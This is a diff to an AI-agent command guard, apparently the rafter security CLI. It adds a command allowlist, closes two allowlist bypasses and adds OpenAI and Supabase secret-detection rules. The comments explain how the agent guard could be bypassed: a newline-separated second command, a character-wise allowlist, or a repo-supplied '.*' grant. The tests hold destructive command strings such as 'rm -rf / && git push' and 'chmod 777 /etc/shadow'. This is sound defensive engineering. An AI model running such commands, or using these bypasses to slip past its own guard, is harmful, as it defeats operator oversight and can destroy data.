diff --git a/CHANGELOG.md b/CHANGELOG.md index 1e9f4657..68c01771 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,16 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [0.10.4] - 2026-09-12 + +### Security + +- **OpenAI and Supabase keys are detected by the hook's Write gate** (rf-f5is; external report se-wagv). The Write gate is regex-only and `secret-patterns` carried **no OpenAI rule at all**, so `sk-proj-`, `sk-svcacct-`, `sk-admin-` and legacy `sk-…T3BlbkFJ…` keys were allowed straight through at any length — while `rafter secrets` caught them via betterleaks. Two engines disagreeing, and the one guarding writes was the blind one. `sb_secret_` (Supabase) was caught by neither, at any length. Three rules added to both runtimes, matched case-sensitively in line with the other prefixed vendor tokens (`ghp_`, `AKIA`, `AIza`, `xox`); lower-casing them would add false positives and catch nothing real. Verified against the published 0.10.3 artifact before the fix, with controls, so the miss was evidence rather than an empty result. + +- **`command_policy.allowed_patterns` works in Python, and cannot be granted by a project** (rf-3n1i). The key was documented in `shared-docs/CLI_SPEC.md` and implemented in Node only — for every Python user it parsed to nothing and enforced nothing, which is worse than an absent key because the operator believes the allowlist is on. Implementing it exposed a second problem: an allowlist is a **grant**, so unlike `blocked_patterns` and `require_approval` — which are unioned, because contributing to them can only add restriction — a project `.rafter.yml` must not contribute to it. Otherwise a cloned repo shipping `allowed_patterns: [".*"]` waves through every non-critical command, defeating the policy floor. The owner's list stands; a project's is refused unless `allowProjectOverride` is set. + +- **Two allowlist bypasses closed** (rf-3n1i). A newline was not treated as a statement separator by the allowlist's chain check, so with `^git push origin feature/` allowlisted a second line ran unclassified; the check now asks the tokenizer, which has treated a newline as a separator since rf-6pqx, rather than keeping a second narrower definition. And a scalar-string `allowedPatterns` was iterated **character by character**, so a leading `^` matched every command and the allowlist allowed everything — the shape `rafter agent config set` actually writes. Guarded at the validator and at the consumer, in both runtimes. + ## [0.10.3] - 2026-09-11 ### Security diff --git a/node/package.json b/node/package.json index c0e84cac..03fe6431 100644 --- a/node/package.json +++ b/node/package.json @@ -1,6 +1,6 @@ { "name": "@rafter-security/cli", - "version": "0.10.3", + "version": "0.10.4", "type": "module", "repository": { "type": "git", diff --git a/node/resources/rafter-security-skill.md b/node/resources/rafter-security-skill.md index 1a3e579f..87f879c5 100644 --- a/node/resources/rafter-security-skill.md +++ b/node/resources/rafter-security-skill.md @@ -1,7 +1,7 @@ --- name: rafter-security description: Security toolkit for AI workflows. Use when scanning code or repos for vulnerabilities, auditing third-party skills/MCPs/agent configs before installing, evaluating shell commands before running them, or generating secure design questions for new features. Provides `rafter run` (remote SAST + SCA, needs RAFTER_API_KEY), `rafter secrets` (offline secrets-only), `rafter agent exec --dry-run` (command-risk classification), and `rafter skill review`. -version: 0.10.3 +version: 0.10.4 homepage: https://rafter.so metadata: openclaw: diff --git a/node/resources/skills/rafter/docs/guardrails.md b/node/resources/skills/rafter/docs/guardrails.md index d1e238c4..fc291b3a 100644 --- a/node/resources/skills/rafter/docs/guardrails.md +++ b/node/resources/skills/rafter/docs/guardrails.md @@ -24,23 +24,46 @@ Every command (Bash-like tool call) gets classified into one of four tiers by `s | `high` | Destructive or privileged (force push, `sudo`, broad file deletion, curl | sh) | **prompt** the agent / user for approval | | `critical` | Likely irreversible damage (`rm -rf /`, DB drop, wiping .git, repo-wide chmod) | **block** hard | -Tiers are derived from regex patterns in `risk-rules.ts` (`CRITICAL_PATTERNS`, `HIGH_PATTERNS`, `MEDIUM_PATTERNS`) plus a `SAFE_PREFIX` allowlist. Presence of chain operators (`&&`, `||`, `;`, `|`) disqualifies the safe-prefix shortcut. +Tiers are derived from regex patterns in `risk-rules.ts` (`CRITICAL_PATTERNS`, `HIGH_PATTERNS`, `MEDIUM_PATTERNS`) plus a `SAFE_PREFIX` allowlist. A command holding more than one statement disqualifies the safe-prefix shortcut. Statement separators are whatever the tokenizer treats as one — `&&`, `||`, `;`, `|`, `&`, and a NEWLINE — rather than a hand-kept list; the newline was missing from an earlier hand-kept copy and that was a live bypass. ## Policy Overrides `.rafter.yml` (project) and `~/.rafter/config.yml` (global) can override defaults: ```yaml -risk: +command_policy: blocked_patterns: - "terraform destroy" require_approval: - "^npm publish" - allow: - - "^pnpm run test" # force low regardless of content + allowed_patterns: + - "^pnpm run test" # force low, skipping the approval prompt + - "git push --force-with-lease" ``` -Merge order (most specific wins): project `.rafter.yml` > global config > built-in defaults. Dump the effective merged policy with `rafter policy export`. +**On `allowed_patterns`.** Until 2026-09-07 this section documented a +`risk.allow` key that was never implemented — a customer went looking for it +and found nothing. The real key is `command_policy.allowed_patterns`, and it +now exists. + +It is a positive allowlist for the known-safe command that trips a broad tier: +the motivating case is `git push --force-with-lease` to a feature branch on a +repo whose `main` is protected server-side, which classifies `high` and prompts +on every push even though the dangerous version cannot land. Dropping +`risk_level` to silence that is too blunt — it would also stop prompting for +`sudo` and `curl | sh`. + +Three properties keep an allowlist from becoming a hole in the guard rail: + +1. **`blocked_patterns` always wins.** An allow rule never re-opens what a deny + rule closed. +2. **`critical` is never allowlistable.** `rm -rf /`, a DB drop and wiping + `.git` stay blocked whatever the config says. +3. **Chain operators disqualify a match.** Patterns are unanchored, so without + this `"git push"` would wave through `rm -rf / && git push`. A chained + command is classified exactly as it would be with no allowlist configured. + +Merge order: project `.rafter.yml` > global config > built-in defaults for most keys — but NOT for `command_policy`, which is a floor. A project policy may tighten command policy and never loosen it: `mode` is accepted only if at least as strict, `blocked_patterns` and `require_approval` are unioned, and `allowed_patterns` — being a grant rather than a restriction — is refused outright unless the machine owner sets `agent.commandPolicy.allowProjectOverride: true` in their global config. Dump the effective merged policy with `rafter policy export`. ## How to Interpret a Block diff --git a/node/src/core/command-interceptor.ts b/node/src/core/command-interceptor.ts index 573468ee..f5be4404 100644 --- a/node/src/core/command-interceptor.ts +++ b/node/src/core/command-interceptor.ts @@ -5,6 +5,7 @@ import { matchedCriticalPattern, sanitizeCommandForMatching, CommandRiskLevel, + isChainedCommand, } from "./risk-rules.js"; export type { CommandRiskLevel } from "./risk-rules.js"; @@ -93,6 +94,49 @@ export class CommandInterceptor { } } + // Check the positive allowlist. Deliberately AFTER blockedPatterns and + // BEFORE requireApproval: a deny rule always wins, and an allow rule's + // whole job is to suppress the approval prompt for a known-safe command. + // + // Two guards keep an allowlist from becoming a hole in the guard rail: + // + // - A `critical` command is never allowlistable. NOTE: this guard is + // currently UNREACHABLE — evaluate() hard-blocks critical at the top of + // the method, before this loop — and a mutation sweep proved it: + // deleting the guard leaves every test green, in both runtimes. Kept as + // defence in depth, because it becomes the only protection the day that + // early block is narrowed. Do not write a test claiming to exercise it; + // such a test passes with the guard deleted. + // - A match does not apply when the command holds more than one + // statement. Patterns are unanchored by request, so without this + // "^git push" would wave through `rm -rf / && git push` — or, via the + // newline the original regex missed, anything on a second line. + // Defence in depth behind the config validator: a non-array here is not + // merely wrong, it is dangerous. A bare string iterates as CHARACTERS, and + // the first one of `"^git status"` is `^`, which matches every command — + // the allowlist would allow everything. The validator catches the shape + // `config set` writes; this catches every other way it could arrive. + const allowedPatterns = Array.isArray(policy.allowedPatterns) ? policy.allowedPatterns : []; + for (const pattern of allowedPatterns) { + if (!this.matchesPattern(command, pattern)) continue; + + if (isChainedCommand(command)) { + // Fall through to normal classification rather than allowing. + break; + } + if (this.assessRisk(command) === "critical") { + break; + } + return { + command, + riskLevel: "low", + allowed: true, + requiresApproval: false, + reason: `Matches allowed pattern: ${pattern}`, + matchedPattern: pattern + }; + } + // Check approval patterns for (const pattern of policy.requireApproval) { if (this.matchesPattern(command, pattern)) { diff --git a/node/src/core/config-defaults.ts b/node/src/core/config-defaults.ts index 4088db20..65a78839 100644 --- a/node/src/core/config-defaults.ts +++ b/node/src/core/config-defaults.ts @@ -59,6 +59,8 @@ export function getDefaultConfig(): RafterConfig { mode: "approve-dangerous", blockedPatterns: [...DEFAULT_BLOCKED_PATTERNS], requireApproval: [...DEFAULT_REQUIRE_APPROVAL], + // Empty by default: an allowlist is opt-in, per project. + allowedPatterns: [], }, outputFiltering: { redactSecrets: true, diff --git a/node/src/core/config-manager.ts b/node/src/core/config-manager.ts index f9a2bf14..7b7fc5b1 100644 --- a/node/src/core/config-manager.ts +++ b/node/src/core/config-manager.ts @@ -83,6 +83,10 @@ function validateConfig(raw: any): RafterConfig { console.error('Warning: config "agent.commandPolicy.blockedPatterns" must be an array of strings — using default.'); cp.blockedPatterns = [...defaults.agent!.commandPolicy.blockedPatterns]; } + if (cp.allowedPatterns !== undefined && (!Array.isArray(cp.allowedPatterns) || !cp.allowedPatterns.every((v: any) => typeof v === "string"))) { + console.error('Warning: config "agent.commandPolicy.allowedPatterns" must be an array of strings — using default.'); + cp.allowedPatterns = [...(defaults.agent!.commandPolicy.allowedPatterns ?? [])]; + } if (cp.requireApproval !== undefined && (!Array.isArray(cp.requireApproval) || !cp.requireApproval.every((v: any) => typeof v === "string"))) { console.error('Warning: config "agent.commandPolicy.requireApproval" must be an array of strings — using default.'); cp.requireApproval = [...defaults.agent!.commandPolicy.requireApproval]; @@ -320,10 +324,22 @@ export class ConfigManager { const policy = loadPolicy(); if (!policy) return config; - // Ensure agent block exists + // Ensure agent block exists, AND that commandPolicy inside it does. + // + // Checking only for `agent` was not enough. A config file that carries an + // `agent` block without a `commandPolicy` key — a partial or hand-edited + // ~/.rafter/config.json, which is a normal thing to have — reaches the + // assignments below and throws + // TypeError: Cannot set properties of undefined (setting 'mode') + // the moment the repo also has a .rafter.yml with a command_policy block. + // Found 2026-09-10 by an end-to-end test that loads a real config instead + // of a stub; the stubbed unit tests could not see it. + const agentDefaults = getDefaultConfig().agent!; if (!config.agent) { - const defaults = getDefaultConfig(); - config.agent = defaults.agent; + config.agent = agentDefaults; + } + if (!config.agent.commandPolicy) { + config.agent.commandPolicy = { ...agentDefaults.commandPolicy }; } // Risk level @@ -508,14 +524,15 @@ function unionPatterns(floor: string[], project: string[]): string[] { * `allowOverride` is true the pre-sable-nz4y replace semantics are used. */ export function mergeCommandPolicy( - target: { mode: string; blockedPatterns: string[]; requireApproval: string[] }, - project: { mode?: string; blockedPatterns?: string[]; requireApproval?: string[] }, + target: { mode: string; blockedPatterns: string[]; requireApproval: string[]; allowedPatterns?: string[] }, + project: { mode?: string; blockedPatterns?: string[]; requireApproval?: string[]; allowedPatterns?: string[] }, allowOverride: boolean ): void { if (allowOverride) { if (project.mode) target.mode = project.mode as any; if (project.blockedPatterns) target.blockedPatterns = project.blockedPatterns; if (project.requireApproval) target.requireApproval = project.requireApproval; + if (project.allowedPatterns) target.allowedPatterns = project.allowedPatterns; return; } @@ -538,4 +555,19 @@ export function mergeCommandPolicy( if (project.requireApproval) { target.requireApproval = unionPatterns(target.requireApproval, project.requireApproval); } + + // allowedPatterns is NOT unioned, and that asymmetry is the whole point. + // Unioning blockedPatterns or requireApproval can only ever ADD restriction, + // so a project contributing to them is safe. An allowlist is the opposite: + // it is a grant. Union it and a cloned repo ships + // command_policy: { allowed_patterns: [".*"] } + // and waves every non-critical command through — which is precisely the + // bypass the floor exists to prevent (sable-nz4y / rf-adth). So the owner's + // allowlist stands and the project's is refused unless the owner has + // explicitly opted into project override. + if (project.allowedPatterns) { + console.error( + `Warning: project policy sets agent.commandPolicy.allowed_patterns, which can only loosen command policy — ignoring. Set agent.commandPolicy.allowProjectOverride: true in your global config to allow project policies to loosen command policy.` + ); + } } diff --git a/node/src/core/config-schema.ts b/node/src/core/config-schema.ts index 938ab88e..1922483c 100644 --- a/node/src/core/config-schema.ts +++ b/node/src/core/config-schema.ts @@ -81,6 +81,24 @@ export interface RafterConfig { * floor: a project policy may tighten command policy, never loosen it. */ allowProjectOverride?: boolean; + + /** + * Positive allowlist: unanchored regexes that force a command to `low` + * and skip the approval prompt. For the known-safe command that would + * otherwise trip a broad risk tier -- the motivating case being + * `git push --force-with-lease` to a feature branch on a repo whose + * main is protected server-side. + * + * Three properties make this safe to put on a guard rail, and all three + * are enforced in CommandInterceptor, not here: + * 1. blockedPatterns always wins. An allowlist never re-opens what a + * deny rule closed. + * 2. A `critical` command is never allowlistable. + * 3. A match does not apply when the command contains a chain + * operator, so "^git push" cannot wave through + * `rm -rf / && git push`. + */ + allowedPatterns?: string[]; }; outputFiltering: { redactSecrets: boolean; diff --git a/node/src/core/policy-loader.ts b/node/src/core/policy-loader.ts index 6c716a6b..9804fea6 100644 --- a/node/src/core/policy-loader.ts +++ b/node/src/core/policy-loader.ts @@ -36,6 +36,7 @@ export interface PolicyFile { mode?: string; blockedPatterns?: string[]; requireApproval?: string[]; + allowedPatterns?: string[]; }; scan?: { excludePaths?: string[]; @@ -135,6 +136,9 @@ function mapPolicy(raw: Record): PolicyFile { if (Array.isArray(raw.command_policy.require_approval)) { policy.commandPolicy.requireApproval = raw.command_policy.require_approval; } + if (Array.isArray(raw.command_policy.allowed_patterns)) { + policy.commandPolicy.allowedPatterns = raw.command_policy.allowed_patterns; + } } if (raw.scan && typeof raw.scan === "object") { @@ -323,6 +327,12 @@ function validatePolicy(policy: PolicyFile, raw: Record): PolicyFil delete policy.commandPolicy.requireApproval; } } + if (policy.commandPolicy.allowedPatterns !== undefined) { + if (!Array.isArray(policy.commandPolicy.allowedPatterns) || !policy.commandPolicy.allowedPatterns.every((v: any) => typeof v === "string")) { + console.error(`Warning: "command_policy.allowed_patterns" must be an array of strings — ignoring.`); + delete policy.commandPolicy.allowedPatterns; + } + } } if (policy.scan) { diff --git a/node/src/core/risk-rules.ts b/node/src/core/risk-rules.ts index 17fc4ead..9328f8bd 100644 --- a/node/src/core/risk-rules.ts +++ b/node/src/core/risk-rules.ts @@ -707,6 +707,30 @@ export function sanitizeCommandForMatching(command: string): string { return sanitize(stripHeredocBodies(command), 0); } +/** + * True if the command contains more than one statement. + * + * Asked of the TOKENIZER rather than a regex, deliberately. The first version + * of this was `/[;|&]|&&|\|\|/`, which omits the newline — and a newline has + * been a statement separator in this file since rf-6pqx, six lines from where + * that regex sat. The gap was reachable in one step: with `^git push origin + * feature/` allowlisted, + * + * git push origin feature/x + * git push --force origin main + * + * classified `allow`, because the chain check saw no operator. The agent being + * gated writes the whole string, so prefixing an allowlisted line is free. + * + * The tokenizer already normalises `\n` to `;`, so routing the question through + * it removes the second, narrower definition instead of widening it. One source + * of truth for "what separates two commands". + */ +export function isChainedCommand(command: string): boolean { + const { pieces } = tokenize(command); + return pieces.some((p) => p.op !== null && CHAIN_OPS.has(p.op)); +} + /** * Assess risk level of a command string. */ diff --git a/node/src/scanners/secret-patterns.ts b/node/src/scanners/secret-patterns.ts index 63ee8f1f..69218bb2 100644 --- a/node/src/scanners/secret-patterns.ts +++ b/node/src/scanners/secret-patterns.ts @@ -87,6 +87,36 @@ export const DEFAULT_SECRET_PATTERNS: Pattern[] = [ description: "Stripe Restricted API Key detected" }, + // OpenAI (rf-f5is / se-wagv, external report). The hook's Write gate is + // regex-only, and this file had NO OpenAI rule at all — so `sk-proj-` and + // legacy keys were ALLOWED through the gate at any length, while + // `rafter secrets` caught them via betterleaks. The two engines disagreed, + // and the one guarding writes was the blind one. + // + // No `(?i)`: these prefixes and their base62 bodies are case-sensitive, and + // the convention here is that prefixed vendor tokens (ghp_, AKIA, AIza, xox) + // match case-sensitively. Lower-casing them would only add false positives. + { + name: "OpenAI API Key", + regex: "sk-(proj|svcacct|admin)-[A-Za-z0-9_-]{40,}", + severity: "critical", + description: "OpenAI project/service/admin API key detected" + }, + { + name: "OpenAI API Key (legacy)", + regex: "sk-[A-Za-z0-9]{20}T3BlbkFJ[A-Za-z0-9]{20}", + severity: "critical", + description: "OpenAI legacy API key detected" + }, + + // Supabase (rf-f5is / se-wagv). Detected by NEITHER engine at any length. + { + name: "Supabase Secret Key", + regex: "sb_secret_[A-Za-z0-9_-]{20,}", + severity: "critical", + description: "Supabase secret key detected" + }, + // Twilio { name: "Twilio API Key", diff --git a/node/tests/command-interceptor-allowlist.test.ts b/node/tests/command-interceptor-allowlist.test.ts new file mode 100644 index 00000000..dbc27b5d --- /dev/null +++ b/node/tests/command-interceptor-allowlist.test.ts @@ -0,0 +1,161 @@ +/** + * Tests for command_policy.allowedPatterns — the positive allowlist. + * + * The feature exists so a known-safe command that trips a broad risk tier can + * be exempted without lowering the global risk level. Requested by a paying + * customer whose `git push --force-with-lease` to a feature branch prompted on + * every push, on a repo whose main is protected server-side so a force-push + * there cannot land. + * + * An allowlist on a guard rail is a footgun, so the SAFETY PROPERTIES are the + * point of this file, not the happy path: + * 1. blockedPatterns always wins over allowedPatterns. + * 2. a `critical` command is never allowlistable. + * 3. a match does not apply when the command contains a chain operator, + * so "^git push" cannot wave through `rm -rf / && git push`. + */ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { CommandInterceptor } from "../src/core/command-interceptor.js"; + +function stubPolicy(interceptor: CommandInterceptor, policy: { + mode?: string; + blockedPatterns?: string[]; + requireApproval?: string[]; + allowedPatterns?: string[]; +}) { + const cfg: any = { + agent: { commandPolicy: { + mode: policy.mode ?? "approve-dangerous", + blockedPatterns: policy.blockedPatterns ?? [], + requireApproval: policy.requireApproval ?? [], + allowedPatterns: policy.allowedPatterns ?? [], + }}, + }; + vi.spyOn((interceptor as any).config, "loadWithPolicy").mockReturnValue(cfg); +} + +describe("CommandInterceptor — allowedPatterns", () => { + let interceptor: CommandInterceptor; + beforeEach(() => { interceptor = new CommandInterceptor(); }); + + // ── The motivating case ──────────────────────────────────────────── + + it("exempts the customer's force-with-lease push from the approval prompt", () => { + stubPolicy(interceptor, { allowedPatterns: ["git push --force-with-lease"] }); + const r = interceptor.evaluate("git push --force-with-lease origin feature/x"); + expect(r.allowed).toBe(true); + expect(r.requiresApproval).toBe(false); + expect(r.riskLevel).toBe("low"); + expect(r.matchedPattern).toBe("git push --force-with-lease"); + }); + + it("leaves an unmatched command classified as before", () => { + stubPolicy(interceptor, { allowedPatterns: ["git push --force-with-lease"] }); + const r = interceptor.evaluate("sudo rm -rf /var/log"); + expect(r.allowed).toBe(false); + }); + + it("does nothing when the allowlist is empty or absent", () => { + stubPolicy(interceptor, { allowedPatterns: [] }); + const empty = interceptor.evaluate("git push --force-with-lease origin feature/x"); + stubPolicy(interceptor, {}); + const absent = interceptor.evaluate("git push --force-with-lease origin feature/x"); + expect(empty.requiresApproval).toBe(absent.requiresApproval); + }); + + // ── Property 1: a deny rule always wins ──────────────────────────── + + it("never re-opens a command closed by blockedPatterns", () => { + stubPolicy(interceptor, { + blockedPatterns: ["git push"], + allowedPatterns: ["git push --force-with-lease"], + }); + const r = interceptor.evaluate("git push --force-with-lease origin feature/x"); + expect(r.allowed).toBe(false); + expect(r.reason).toContain("blocked pattern"); + }); + + // ── Property 2: critical is never allowlistable ──────────────────── + + it("refuses to allow a critical command even on an exact match", () => { + stubPolicy(interceptor, { allowedPatterns: ["rm -rf /"] }); + const r = interceptor.evaluate("rm -rf /"); + expect(r.allowed).toBe(false); + }); + + // ── Property 3: chain operators disqualify the match ─────────────── + + // The property this guard owns is "the allowlist does not apply", NOT "the + // classifier rates this high" -- so assert parity with the same command + // evaluated under no allowlist at all. A chained command must be treated + // exactly as it would be if the operator had never configured one. + // + // (Asserting riskLevel !== "low" directly would fail on `git push | sh`, + // because the BASELINE classifier already rates that low with no allowlist + // in play. That is a real pre-existing gap in risk-rules.ts -- piping to a + // shell is only caught for `curl`-shaped commands -- and it is tracked + // separately. It is not something this feature introduced or can fix.) + it("does not treat a scalar-string allowlist as a character-wise allowlist", () => { + // rafter security review F2. Node warns and falls back to []; python did + // not, and iterated the string's CHARACTERS so a leading "^" matched every + // command. Pinned in BOTH runtimes so the parity cannot drift back. + stubPolicy(interceptor, { allowedPatterns: "^git status" as any }); + for (const cmd of ["chmod 777 /etc/shadow", "git push --force origin main"]) { + expect(interceptor.evaluate(cmd).allowed, cmd).toBe(false); + } + }); + + it("does not let an allowlisted prefix smuggle a chained command", () => { + const chained = [ + "rm -rf / && git push", + "git push; sudo shutdown now", + "git push | sh", + // rafter security review F1. The chain check was a regex omitting the + // newline, while a newline has been a statement separator in risk-rules + // since rf-6pqx. These three rows passed with the hole wide open, which + // is why the check now asks the tokenizer instead of a second regex. + "git push origin feature/x\ngit push --force origin main", + "git status\nchmod 777 /etc/shadow", + "git push origin feature/x\r\ngit push --force origin main", + ]; + + stubPolicy(interceptor, { allowedPatterns: [] }); + const baseline = chained.map((c) => interceptor.evaluate(c)); + + stubPolicy(interceptor, { allowedPatterns: ["git push"] }); + const withAllowlist = chained.map((c) => interceptor.evaluate(c)); + + chained.forEach((cmd, i) => { + expect(withAllowlist[i].riskLevel, cmd).toBe(baseline[i].riskLevel); + expect(withAllowlist[i].allowed, cmd).toBe(baseline[i].allowed); + expect(withAllowlist[i].requiresApproval, cmd).toBe(baseline[i].requiresApproval); + // and crucially, the allowlist is never credited for the verdict + expect(withAllowlist[i].reason ?? "", cmd).not.toContain("allowed pattern"); + }); + }); + + it("still exempts the same pattern when no chaining is present", () => { + stubPolicy(interceptor, { allowedPatterns: ["git push"] }); + expect(interceptor.evaluate("git push origin main").riskLevel).toBe("low"); + }); + + // ── Ordering against requireApproval ─────────────────────────────── + + it("wins over requireApproval, which is the whole point", () => { + stubPolicy(interceptor, { + requireApproval: ["git push"], + allowedPatterns: ["git push --force-with-lease"], + }); + const allowed = interceptor.evaluate("git push --force-with-lease origin feature/x"); + expect(allowed.requiresApproval).toBe(false); + const prompted = interceptor.evaluate("git push --force origin main"); + expect(prompted.requiresApproval).toBe(true); + }); + + // ── Robustness ───────────────────────────────────────────────────── + + it("does not throw on an invalid regex in the allowlist", () => { + stubPolicy(interceptor, { allowedPatterns: ["[unclosed"] }); + expect(() => interceptor.evaluate("git push origin main")).not.toThrow(); + }); +}); diff --git a/node/tests/command-policy-allowlist-e2e.test.ts b/node/tests/command-policy-allowlist-e2e.test.ts new file mode 100644 index 00000000..2df5afea --- /dev/null +++ b/node/tests/command-policy-allowlist-e2e.test.ts @@ -0,0 +1,168 @@ +/** + * END-TO-END test for command_policy.allowed_patterns, through the REAL path: + * .rafter.yml on disk -> policy-loader.mapPolicy -> ConfigManager.loadWithPolicy + * -> CommandInterceptor.evaluate + * + * WHY THIS FILE EXISTS SEPARATELY from command-interceptor-allowlist.test.ts: + * that suite stubs loadWithPolicy and injects `allowedPatterns` straight into + * the config object. It passed on the first version of this feature — while the + * feature was completely unreachable for real users, because neither + * policy-loader's mapPolicy nor ConfigManager.loadWithPolicy carried the key + * from YAML to the merged config. Green tests over a path nobody can take. + * + * So this file writes an actual .rafter.yml and asserts the behaviour a + * customer would get. If the mapping is dropped again, this goes red and the + * stubbed suite stays green — which is the point. + */ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import fs from "fs"; +import os from "os"; +import path from "path"; + +describe("command_policy.allowed_patterns — real .rafter.yml to verdict", () => { + let tmpDir: string; + let origCwd: string; + + let origHome: string | undefined; + + beforeEach(() => { + tmpDir = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), "rafter-allowlist-"))); + origCwd = process.cwd(); + // getRafterDir() is os.homedir()-relative, so without this the "global + // config" these tests read is the DEVELOPER'S — the result would depend on + // whose machine ran the suite. + origHome = process.env.HOME; + process.env.HOME = tmpDir; + const { execSync } = require("child_process"); + execSync("git init", { cwd: tmpDir, stdio: "ignore" }); + process.chdir(tmpDir); + vi.resetModules(); + }); + + afterEach(() => { + process.chdir(origCwd); + if (origHome === undefined) delete process.env.HOME; + else process.env.HOME = origHome; + fs.rmSync(tmpDir, { recursive: true, force: true }); + vi.restoreAllMocks(); + }); + + /** + * Owner's global config. `allowProjectOverride` opts out of the floor. + * + * Built from getDefaultConfig() rather than hand-rolled: a partial + * commandPolicy (no blockedPatterns / requireApproval) makes evaluate() + * throw `policy.blockedPatterns is not iterable`, so a hand-written stub + * would test a shape no real install has. + */ + async function writeGlobalConfig(allowProjectOverride: boolean) { + const { getDefaultConfig } = await import("../src/core/config-defaults.js"); + const cfg: any = getDefaultConfig(); + cfg.agent.commandPolicy.mode = "approve-dangerous"; + cfg.agent.commandPolicy.allowProjectOverride = allowProjectOverride; + const dir = path.join(tmpDir, ".rafter"); + fs.mkdirSync(dir, { recursive: true }); + fs.writeFileSync(path.join(dir, "config.json"), JSON.stringify(cfg)); + } + + function writePolicy(yml: string) { + fs.writeFileSync(path.join(tmpDir, ".rafter.yml"), yml); + } + + it("maps allowed_patterns from YAML, but the FLOOR refuses a project's grant", async () => { + // rf-3n1i / sable-nz4y. An allowlist is a GRANT, so unlike blocked_patterns + // it is never contributed by a project policy: a cloned repo shipping + // allowed_patterns would otherwise wave its own commands through. + await writeGlobalConfig(false); + writePolicy([ + "command_policy:", + " mode: approve-dangerous", + ' allowed_patterns: ["git push --force-with-lease"]', + "", + ].join("\n")); + + // The YAML mapper still produces the camelCase key — dropping the mapping + // is what made this unreachable before, and that must not regress. + const { loadPolicy } = await import("../src/core/policy-loader.js"); + expect(loadPolicy()?.commandPolicy?.allowedPatterns).toEqual([ + "git push --force-with-lease", + ]); + + // ...and the merge refuses it, because the owner did not opt in. + const spy = vi.spyOn(console, "error").mockImplementation(() => {}); + const { ConfigManager } = await import("../src/core/config-manager.js"); + const merged = new ConfigManager().loadWithPolicy(); + expect(merged.agent?.commandPolicy.allowedPatterns ?? []).toEqual([]); + spy.mockRestore(); + }); + + it("applies the project allowlist once the owner sets allowProjectOverride", async () => { + await writeGlobalConfig(true); + writePolicy([ + "command_policy:", + " mode: approve-dangerous", + ' allowed_patterns: ["git push --force-with-lease"]', + "", + ].join("\n")); + + const { ConfigManager } = await import("../src/core/config-manager.js"); + const merged = new ConfigManager().loadWithPolicy(); + expect(merged.agent?.commandPolicy.allowedPatterns).toEqual([ + "git push --force-with-lease", + ]); + }); + + it("actually suppresses the customer's prompt end to end", async () => { + await writeGlobalConfig(true); + writePolicy([ + "command_policy:", + " mode: approve-dangerous", + ' allowed_patterns: ["git push --force-with-lease"]', + "", + ].join("\n")); + + const { CommandInterceptor } = await import("../src/core/command-interceptor.js"); + const result = new CommandInterceptor().evaluate("git push --force-with-lease origin feature/x"); + expect(result.requiresApproval).toBe(false); + expect(result.allowed).toBe(true); + expect(result.riskLevel).toBe("low"); + }); + + it("still refuses a chained command written through real YAML", async () => { + await writeGlobalConfig(true); + writePolicy([ + "command_policy:", + " mode: approve-dangerous", + ' allowed_patterns: ["git push"]', + "", + ].join("\n")); + + const { CommandInterceptor } = await import("../src/core/command-interceptor.js"); + const result = new CommandInterceptor().evaluate("rm -rf / && git push"); + expect(result.reason ?? "").not.toContain("allowed pattern"); + }); + + it("still lets blocked_patterns win when both are set in YAML", async () => { + await writeGlobalConfig(true); + writePolicy([ + "command_policy:", + " mode: approve-dangerous", + ' blocked_patterns: ["git push"]', + ' allowed_patterns: ["git push --force-with-lease"]', + "", + ].join("\n")); + + const { CommandInterceptor } = await import("../src/core/command-interceptor.js"); + const result = new CommandInterceptor().evaluate("git push --force-with-lease origin feature/x"); + expect(result.allowed).toBe(false); + }); + + it("warns and ignores a non-array allowed_patterns rather than crashing", async () => { + writePolicy(["command_policy:", " allowed_patterns: 'not-an-array'", ""].join("\n")); + const spy = vi.spyOn(console, "error").mockImplementation(() => {}); + const { loadPolicy } = await import("../src/core/policy-loader.js"); + const policy = loadPolicy(); + expect(policy?.commandPolicy?.allowedPatterns).toBeUndefined(); + spy.mockRestore(); + }); +}); diff --git a/node/tests/secret-patterns-openai-supabase.test.ts b/node/tests/secret-patterns-openai-supabase.test.ts new file mode 100644 index 00000000..c913a374 --- /dev/null +++ b/node/tests/secret-patterns-openai-supabase.test.ts @@ -0,0 +1,57 @@ +/** + * OpenAI + Supabase secret rules, and the runtime parity they were missing. + * + * rf-f5is / se-wagv (external report). The hook's Write gate is regex-only, and + * secret-patterns.ts had NO OpenAI rule at all — so `sk-proj-` and legacy keys + * were ALLOWED through the gate at any length, while `rafter secrets` caught + * them via betterleaks. Two engines, disagreeing, and the one guarding writes + * was the blind one. `sb_secret_` was caught by neither at any length. + * + * Fixtures come from the SHARED rf-f5is-key-fixtures.json so both runtimes + * assert on byte-identical input; the python twin is + * python/tests/test_secret_patterns_openai_supabase.py. + * + * Keys are ASSEMBLED at runtime rather than stored literally: a file of + * real-shaped keys in the repo would be flagged by rafter's own scanner — these + * rules would see to it — and a fixture that trips the product's CI is a + * fixture someone deletes. + */ +import { describe, it, expect } from "vitest"; +import fs from "fs"; +import path from "path"; +import { fileURLToPath } from "url"; +import { RegexScanner } from "../src/scanners/regex-scanner.js"; + +const here = path.dirname(fileURLToPath(import.meta.url)); +const fixtures: Array<{ + label: string; prefix: string; fill: string; len: number; suffix: string; expect: string | null; +}> = JSON.parse(fs.readFileSync(path.resolve(here, "../../rf-f5is-key-fixtures.json"), "utf8")); + +const build = (r: (typeof fixtures)[number]) => r.prefix + r.fill.repeat(r.len) + r.suffix; +const names = (ms: any[]) => new Set((ms ?? []).map((m) => m.pattern?.name ?? m.name ?? "?")); + +describe("OpenAI + Supabase secret rules (rf-f5is)", () => { + for (const row of fixtures) { + it(row.label, () => { + const found = names(new RegexScanner().scanText(build(row))); + if (row.expect === null) { + expect([...found], row.label).toEqual([]); + } else { + expect([...found], row.label).toContain(row.expect); + } + }); + } + + it("CONTROL — an unrelated rule still fires", () => { + // Without this, every row above could pass with the scanner broken outright. + const found = names(new RegexScanner().scanText('GH = "ghp_16CharsMinimumxxxxxxxxxxxxxxxxxxxxxx"')); + expect([...found]).toContain("GitHub Personal Access Token"); + }); + + it("rules are case-sensitive", () => { + // Matching an uppercased prefix would only add noise; the convention for + // prefixed vendor tokens here (ghp_, AKIA, AIza, xox) is case-sensitive. + const found = names(new 